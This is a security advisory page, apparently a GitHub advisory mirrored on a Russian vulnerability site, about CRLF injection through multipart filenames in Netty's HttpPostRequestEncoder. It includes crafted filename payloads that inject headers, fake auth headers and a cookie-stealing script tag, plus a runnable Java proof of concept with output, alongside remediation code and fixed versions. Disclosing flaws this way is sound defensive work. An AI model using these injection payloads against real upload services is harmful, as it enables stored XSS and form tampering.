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GHSA-gcjf-9mgh-3p7g

Опубликовано: 22 июл. 2026
Источник: github
Github: Прошло ревью
CVSS3: 5.7

Описание

Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-http multipart)
Componentio.netty.handler.codec.http.multipart.HttpPostRequestEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting
ImpactMIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition
CVSS 3.1 Score8.1 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow (attacker must be able to upload files with controlled filenames)
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-http module are affected:

  • io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688)
  • io.netty.handler.codec.http.multipart.DiskFileUploadsetFilename() only checks null (line 78)
  • io.netty.handler.codec.http.multipart.MemoryFileUploadsetFilename() only checks null (line 60)
  • io.netty.handler.codec.http.multipart.MixedFileUploadsetFilename() delegates without validation (line 62)

3. Vulnerability Description

Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

Root Cause

In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:

// Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION

The setFilename() method in all FileUpload implementations only checks for null:

// DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION }

Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder — SMTP command injectionAdded CRLF validation in SmtpUtils.validateSMTPParameters()
GHSA-84h7-rjj3-6jx4HttpRequestEncoder — CRLF in URIAdded HttpUtil.validateRequestLineTokens()

The multipart encoder has no equivalent validation for filenames or field names.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests
  2. The filename of an uploaded file is derived from user-controlled input
  3. The application does not perform its own CRLF sanitization on filenames

Common affected patterns:

  • File upload proxies that forward user-supplied filenames
  • API gateways that construct multipart requests from incoming parameters
  • Microservice communication that passes filenames between services
  • Testing/automation frameworks that use Netty HTTP client with user-defined filenames

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);

Wire format:

--boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ...

If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

Scenario 2: Arbitrary MIME Header Injection

String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

Scenario 3: Multipart Boundary Confusion

String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

By injecting a new boundary delimiter, the attacker can:

  • Terminate the current body part prematurely
  • Start a new body part with a different field name
  • Override form fields processed by the server

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO")); tempFile.delete(); } }

How to Compile and Run

# Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Multipart Filename CRLF Injection PoC === [TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r --- Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection! === PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH — Injected headers may bypass access controls or leak tokens
IntegrityHIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation
Content-Type SpoofingOverride application/octet-stream to text/html to serve executable content
Stored XSSInject <script> tags via Content-Type override when uploaded files are served back
Form Field OverrideInject new multipart boundaries to create/override form fields
Downstream InjectionCustom MIME headers may affect middleware, CDN, or storage layer behavior

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; }

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

// HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; } // Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

// Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n");

9. References

Пакеты

Наименование

io.netty:netty-codec-http

maven
Затронутые версииВерсия исправления

>= 4.2.0.Final, < 4.2.16.Final

4.2.16.Final

Наименование

io.netty:netty-codec-http

maven
Затронутые версииВерсия исправления

< 4.1.136.Final

4.1.136.Final

EPSS

Процентиль: 20%
0.00281
Низкий

5.7 Medium

CVSS3

Дефекты

CWE-93

Связанные уязвимости

CVSS3: 5.7
ubuntu
5 дней назад

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.

CVSS3: 5.7
redhat
26 дней назад

A flaw was found in Netty's HttpPostRequestEncoder, a widely used Java networking library component responsible for constructing multipart HTTP request bodies. The issue arises because user-supplied filenames and field names are directly embedded into Content-Disposition MIME headers without any validation or sanitization of CRLF (\r\n) characters. Since MIME headers are delimited by CRLF sequences, an attacker who controls the filename in a multipart upload can inject arbitrary MIME headers into the request body. This may lead to limited Content-Type spoofing or header manipulation against middleware or storage layers processing the request, though the practical impact is constrained by the context in which Netty is deployed.

CVSS3: 5.7
nvd
6 дней назад

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.

CVSS3: 5.7
debian
6 дней назад

Netty is an asynchronous, event-driven network application framework. ...

EPSS

Процентиль: 20%
0.00281
Низкий

5.7 Medium

CVSS3

Дефекты

CWE-93